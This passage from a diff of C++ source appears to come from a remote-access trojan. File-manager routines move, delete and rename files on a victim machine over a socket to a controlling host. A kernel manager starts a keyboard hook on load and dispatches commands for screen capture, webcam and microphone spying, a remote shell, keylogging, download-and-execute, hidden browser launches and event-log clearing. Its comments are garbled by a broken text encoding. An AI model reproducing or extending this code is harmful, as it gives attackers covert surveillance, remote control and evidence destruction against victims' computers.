char *pszFileName = NULL;
|
||||
LPBYTE lpList = NULL;
|
||||
HANDLE hFile;
|
||||
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
|
||||
int nLen = 0;
|
||||
DWORD nBufferSize = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
|
||||
lpList = (BYTE *)LocalAlloc(LPTR, nBufferSize);
|
||||
|
||||
wsprintf(strPath, "%s\\*.*", lpszDirectory);
|
||||
hFile = FindFirstFile(strPath, &FindFileData);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
BYTE bToken = TOKEN_FILE_LIST;
|
||||
return Send(&bToken, 1);
|
||||
}
|
||||
|
||||
*lpList = TOKEN_FILE_LIST;
|
||||
|
||||
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
dwOffset = 1;
|
||||
/*
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
|
||||
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
|
||||
*/
|
||||
do
|
||||
{
|
||||
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (dwOffset > (nBufferSize - MAX_PATH * 2))
|
||||
{
|
||||
nBufferSize += MAX_PATH * 2;
|
||||
lpList = (BYTE *)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||
}
|
||||
pszFileName = FindFileData.cFileName;
|
||||
if (strcmp(pszFileName, ".") == 0 || strcmp(pszFileName, "..") == 0)
|
||||
continue;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
|
||||
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||||
dwOffset++;
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
|
||||
nLen = lstrlen(pszFileName);
|
||||
memcpy(lpList + dwOffset, pszFileName, nLen);
|
||||
dwOffset += nLen;
|
||||
*(lpList + dwOffset) = 0;
|
||||
dwOffset++;
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
|
||||
memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
|
||||
memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
|
||||
dwOffset += 8;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
|
||||
memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
|
||||
dwOffset += 8;
|
||||
} while(FindNextFile(hFile, &FindFileData));
|
||||
|
||||
nRet = Send(lpList, dwOffset);
|
||||
|
||||
LocalFree(lpList);
|
||||
FindClose(hFile);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
|
||||
{
|
||||
WIN32_FIND_DATA wfd;
|
||||
char lpszFilter[MAX_PATH];
|
||||
|
||||
wsprintf(lpszFilter, "%s\\*.*", lpszDirectory);
|
||||
|
||||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
return FALSE;
|
||||
|
||||
do
|
||||
{
|
||||
if (wfd.cFileName[0] != '.')
|
||||
{
|
||||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char strDirectory[MAX_PATH];
|
||||
wsprintf(strDirectory, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||||
DeleteDirectory(strDirectory);
|
||||
}
|
||||
else
|
||||
{
|
||||
char strFile[MAX_PATH];
|
||||
wsprintf(strFile, "%s\\%s", lpszDirectory, wfd.cFileName);
|
||||
DeleteFile(strFile);
|
||||
}
|
||||
}
|
||||
} while (FindNextFile(hFind, &wfd));
|
||||
|
||||
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
|
||||
|
||||
if(!RemoveDirectory(lpszDirectory))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
|
||||
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
|
||||
{
|
||||
UINT nRet = 0;
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
// 1 <20>ֽ<EFBFBD>token, 8<>ֽڴ<D6BD>С, <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>, '\0'
|
||||
HANDLE hFile;
|
||||
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||||
strcpy(m_strCurrentProcessFileName, lpszFileName);
|
||||
|
||||
hFile = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return FALSE;
|
||||
dwSizeLow = GetFileSize(hFile, &dwSizeHigh);
|
||||
CloseHandle(hFile);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nPacketSize = lstrlen(lpszFileName) + 10;
|
||||
BYTE *bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize);
|
||||
memset(bPacket, 0, nPacketSize);
|
||||
|
||||
bPacket[0] = TOKEN_FILE_SIZE;
|
||||
FILESIZE *pFileSize = (FILESIZE *)(bPacket + 1);
|
||||
pFileSize->dwSizeHigh = dwSizeHigh;
|
||||
pFileSize->dwSizeLow = dwSizeLow;
|
||||
memcpy(bPacket + 9, lpszFileName, lstrlen(lpszFileName) + 1);
|
||||
|
||||
nRet = Send(bPacket, nPacketSize);
|
||||
LocalFree(bPacket);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
UINT CFileManager::SendFileData(LPBYTE lpBuffer)
|
||||
{
|
||||
UINT nRet;
|
||||
FILESIZE *pFileSize;
|
||||
char *lpFileName;
|
||||
|
||||
pFileSize = (FILESIZE *)lpBuffer;
|
||||
lpFileName = m_strCurrentProcessFileName;
|
||||
|
||||
// Զ<><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
if (pFileSize->dwSizeLow == -1)
|
||||
{
|
||||
UploadNext();
|
||||
return 0;
|
||||
}
|
||||
HANDLE hFile;
|
||||
hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return -1;
|
||||
|
||||
SetFilePointer(hFile, pFileSize->dwSizeLow, (long *)&(pFileSize->dwSizeHigh), FILE_BEGIN);
|
||||
|
||||
int nHeadLength = 9; // 1 + 4 + 4<><34><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С
|
||||
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
|
||||
DWORD nNumberOfBytesRead = 0;
|
||||
|
||||
LPBYTE lpPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
|
||||
// Token, <20><>С<EFBFBD><D0A1>ƫ<EFBFBD>ƣ<EFBFBD><C6A3>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
lpPacket[0] = TOKEN_FILE_DATA;
|
||||
memcpy(lpPacket + 1, pFileSize, sizeof(FILESIZE));
|
||||
ReadFile(hFile, lpPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
|
||||
if (nNumberOfBytesRead > 0)
|
||||
{
|
||||
int nPacketSize = nNumberOfBytesRead + nHeadLength;
|
||||
nRet = Send(lpPacket, nPacketSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
UploadNext();
|
||||
}
|
||||
|
||||
LocalFree(lpPacket);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
void CFileManager::UploadNext()
|
||||
{
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
// ɾ<><C9BE>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_UploadList.erase(it);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ϴ<EFBFBD><CFB4><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(m_UploadList.empty())
|
||||
{
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
}
|
||||
else
|
||||
{
|
||||
// <20>ϴ<EFBFBD><CFB4><EFBFBD>һ<EFBFBD><D2BB>
|
||||
it = m_UploadList.begin();
|
||||
SendFileSize((*it).c_str());
|
||||
}
|
||||
}
|
||||
int CFileManager::SendToken(BYTE bToken)
|
||||
{
|
||||
return Send(&bToken, 1);
|
||||
}
|
||||
|
||||
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
|
||||
{
|
||||
|
||||
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\')
|
||||
{
|
||||
FixedUploadList((char *)lpBuffer);
|
||||
if (m_UploadList.empty())
|
||||
{
|
||||
StopTransfer();
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
m_UploadList.push_back((char *)lpBuffer);
|
||||
}
|
||||
|
||||
list <string>::iterator it = m_UploadList.begin();
|
||||
// <20><><EFBFBD>͵<EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD>
|
||||
SendFileSize((*it).c_str());
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
|
||||
{
|
||||
WIN32_FIND_DATA wfd;
|
||||
char lpszFilter[MAX_PATH];
|
||||
const char *lpszSlash = NULL;
|
||||
memset(lpszFilter, 0, sizeof(lpszFilter));
|
||||
|
||||
if (lpPathName[lstrlen(lpPathName) - 1] != '\\')
|
||||
lpszSlash = "\\";
|
||||
else
|
||||
lpszSlash = "";
|
||||
|
||||
wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
|
||||
|
||||
|
||||
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
|
||||
if (hFind == INVALID_HANDLE_VALUE) // <20><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ҵ<EFBFBD><D2B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>
|
||||
return false;
|
||||
|
||||
do
|
||||
{
|
||||
if (wfd.cFileName[0] != '.')
|
||||
{
|
||||
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
||||
{
|
||||
char strDirectory[MAX_PATH];
|
||||
wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||||
FixedUploadList(strDirectory);
|
||||
}
|
||||
else
|
||||
{
|
||||
char strFile[MAX_PATH];
|
||||
wsprintf(strFile, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);
|
||||
m_UploadList.push_back(strFile);
|
||||
}
|
||||
}
|
||||
} while (FindNextFile(hFind, &wfd));
|
||||
|
||||
FindClose(hFind); // <20>رղ<D8B1><D5B2>Ҿ<EFBFBD><D2BE><EFBFBD>
|
||||
return true;
|
||||
}
|
||||
|
||||
void CFileManager::StopTransfer()
|
||||
{
|
||||
if (!m_UploadList.empty())
|
||||
m_UploadList.clear();
|
||||
SendToken(TOKEN_TRANSFER_FINISH);
|
||||
}
|
||||
|
||||
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
|
||||
{
|
||||
FILESIZE *pFileSize = (FILESIZE *)lpBuffer;
|
||||
// <20><><EFBFBD>浱ǰ<E6B5B1><C7B0><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
|
||||
strcpy(m_strCurrentProcessFileName, (char *)lpBuffer + 8);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_nCurrentProcessFileLength = (pFileSize->dwSizeHigh * (MAXDWORD + 1)) + pFileSize->dwSizeLow;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
||||
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
|
||||
|
||||
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||||
|
||||
if (hFind != INVALID_HANDLE_VALUE
|
||||
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
|
||||
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
|
||||
)
|
||||
{
|
||||
SendToken(TOKEN_GET_TRANSFER_MODE);
|
||||
}
|
||||
else
|
||||
{
|
||||
GetFileData();
|
||||
}
|
||||
FindClose(hFind);
|
||||
}
|
||||
|
||||
void CFileManager::GetFileData()
|
||||
{
|
||||
int nTransferMode;
|
||||
switch (m_nTransferMode)
|
||||
{
|
||||
case TRANSFER_MODE_OVERWRITE_ALL:
|
||||
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||
break;
|
||||
case TRANSFER_MODE_ADDITION_ALL:
|
||||
nTransferMode = TRANSFER_MODE_ADDITION;
|
||||
break;
|
||||
case TRANSFER_MODE_JUMP_ALL:
|
||||
nTransferMode = TRANSFER_MODE_JUMP;
|
||||
break;
|
||||
default:
|
||||
nTransferMode = m_nTransferMode;
|
||||
}
|
||||
|
||||
WIN32_FIND_DATA FindFileData;
|
||||
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
|
||||
|
||||
// 1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||
BYTE bToken[9];
|
||||
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||
memset(bToken, 0, sizeof(bToken));
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
|
||||
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFind != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
// <20><>ʾ<EFBFBD><CABE>ʲô
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (nTransferMode == TRANSFER_MODE_ADDITION)
|
||||
{
|
||||
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
|
||||
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
|
||||
dwCreationDisposition = OPEN_EXISTING;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
else if (nTransferMode == TRANSFER_MODE_OVERWRITE)
|
||||
{
|
||||
// ƫ<><C6AB><EFBFBD><EFBFBD>0
|
||||
memset(bToken + 1, 0, 8);
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS;
|
||||
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
else if (nTransferMode == TRANSFER_MODE_JUMP)
|
||||
{
|
||||
DWORD dwOffset = -1;
|
||||
memcpy(bToken + 5, &dwOffset, 4);
|
||||
dwCreationDisposition = OPEN_EXISTING;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// ƫ<><C6AB><EFBFBD><EFBFBD>0 <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仰<EFBFBD><E4BBB0>^_^
|
||||
memset(bToken + 1, 0, 8);
|
||||
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||
dwCreationDisposition = CREATE_ALWAYS;
|
||||
}
|
||||
FindClose(hFind);
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_strCurrentProcessFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
dwCreationDisposition,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
m_nCurrentProcessFileLength = 0;
|
||||
return;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
|
||||
Send(bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BYTE *pData;
|
||||
DWORD dwBytesToWrite;
|
||||
DWORD dwBytesWrite;
|
||||
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
|
||||
FILESIZE *pFileSize;
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
pData = lpBuffer + 8;
|
||||
|
||||
pFileSize = (FILESIZE *)lpBuffer;
|
||||
|
||||
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||
|
||||
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
|
||||
LONG dwOffsetLow = pFileSize->dwSizeLow;
|
||||
|
||||
|
||||
dwBytesToWrite = nSize - 8;
|
||||
|
||||
HANDLE hFile =
|
||||
CreateFile
|
||||
(
|
||||
m_strCurrentProcessFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
0
|
||||
);
|
||||
|
||||
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||||
|
||||
int nRet = 0;
|
||||
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||
nRet = WriteFile
|
||||
(
|
||||
hFile,
|
||||
pData,
|
||||
dwBytesToWrite,
|
||||
&dwBytesWrite,
|
||||
NULL
|
||||
);
|
||||
// if (nRet <= 0)
|
||||
// printf("<22>ļ<EFBFBD>д<EFBFBD><D0B4>ʧ<EFBFBD><CAA7>");
|
||||
CloseHandle(hFile);
|
||||
// Ϊ<>˱Ƚϣ<C8BD><CFA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
BYTE bToken[9];
|
||||
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||
dwOffsetLow += dwBytesWrite;
|
||||
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||
Send(bToken, sizeof(bToken));
|
||||
}
|
||||
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
|
||||
{
|
||||
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
|
||||
GetFileData();
|
||||
}
|
||||
|
||||
void CFileManager::CreateFolder(LPBYTE lpBuffer)
|
||||
{
|
||||
MakeSureDirectoryPathExists((char *)lpBuffer);
|
||||
SendToken(TOKEN_CREATEFOLDER_FINISH);
|
||||
}
|
||||
|
||||
void CFileManager::Rename(LPBYTE lpBuffer)
|
||||
{
|
||||
LPCTSTR lpExistingFileName = (char *)lpBuffer;
|
||||
LPCTSTR lpNewFileName = lpExistingFileName + lstrlen(lpExistingFileName) + 1;
|
||||
::MoveFile(lpExistingFileName, lpNewFileName);
|
||||
SendToken(TOKEN_RENAME_FINISH);
|
||||
}
|
||||
161
CcMainDll/CcMainDll/common/KernelManager.cpp
Normal file
161
CcMainDll/CcMainDll/common/KernelManager.cpp
Normal file
@@ -0,0 +1,161 @@
|
||||
// KernelManager.cpp: implementation of the CKernelManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "..\pch.h"
|
||||
#include "KernelManager.h"
|
||||
#include "loop.h"
|
||||
#include "until.h"
|
||||
#include "inject.h"
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
char CKernelManager::m_strMasterHost[256] = {0};
|
||||
UINT CKernelManager::m_nMasterPort = 80;
|
||||
CKernelManager::CKernelManager(CClientSocket *pClient, LPCTSTR lpszServiceName, DWORD dwServiceType, LPCTSTR lpszKillEvent,
|
||||
LPCTSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
|
||||
{
|
||||
if (lpszServiceName != NULL)
|
||||
{
|
||||
lstrcpy(m_strServiceName, lpszServiceName);
|
||||
}
|
||||
if (lpszKillEvent != NULL)
|
||||
lstrcpy(m_strKillEvent, lpszKillEvent);
|
||||
if (lpszMasterHost != NULL)
|
||||
lstrcpy(m_strMasterHost, lpszMasterHost);
|
||||
|
||||
m_nMasterPort = nMasterPort;
|
||||
m_dwServiceType = dwServiceType;
|
||||
m_nThreadCount = 0;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>
|
||||
m_bIsActived = false;
|
||||
// <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD>߳<EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD>HOOK<4F><4B>UNHOOK<4F><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬһ<CDAC><D2BB><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] =
|
||||
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
|
||||
|
||||
}
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
for(int i = 0; i < m_nThreadCount; i++)
|
||||
{
|
||||
TerminateThread(m_hThread[i], -1);
|
||||
CloseHandle(m_hThread[i]);
|
||||
}
|
||||
}
|
||||
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ÿһ<C3BF>ֹ<EFBFBD><D6B9>ܶ<EFBFBD><DCB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>̺߳<DFB3><CCBA><EFBFBD><EFBFBD><EFBFBD>Ӧת<D3A6><D7AA>Loop_FileManager
|
||||
// <20><><EFBFBD>ϼ<EFBFBD><CFBC><EFBFBD>
|
||||
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
|
||||
{
|
||||
switch (lpBuffer[0])
|
||||
{
|
||||
case COMMAND_ACTIVED:
|
||||
InterlockedExchange((LONG *)&m_bIsActived, true);
|
||||
break;
|
||||
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
|
||||
break;
|
||||
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>鿴
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SHELL: // Զ<><D4B6>shell-CMD
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
|
||||
break;
|
||||
case COMMAND_KEYBOARD:
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
|
||||
(LPVOID)m_pClient->m_Socket, 0, NULL);
|
||||
break;
|
||||
|
||||
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
|
||||
(LPVOID)(lpBuffer + 1), 0, NULL, true);
|
||||
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
|
||||
break;
|
||||
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
|
||||
break;
|
||||
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
||||
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
|
||||
break;
|
||||
case COMMAND_REMOVE: // ж<><D0B6>,
|
||||
UnInstallService();
|
||||
break;
|
||||
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||
CleanEvent();
|
||||
break;
|
||||
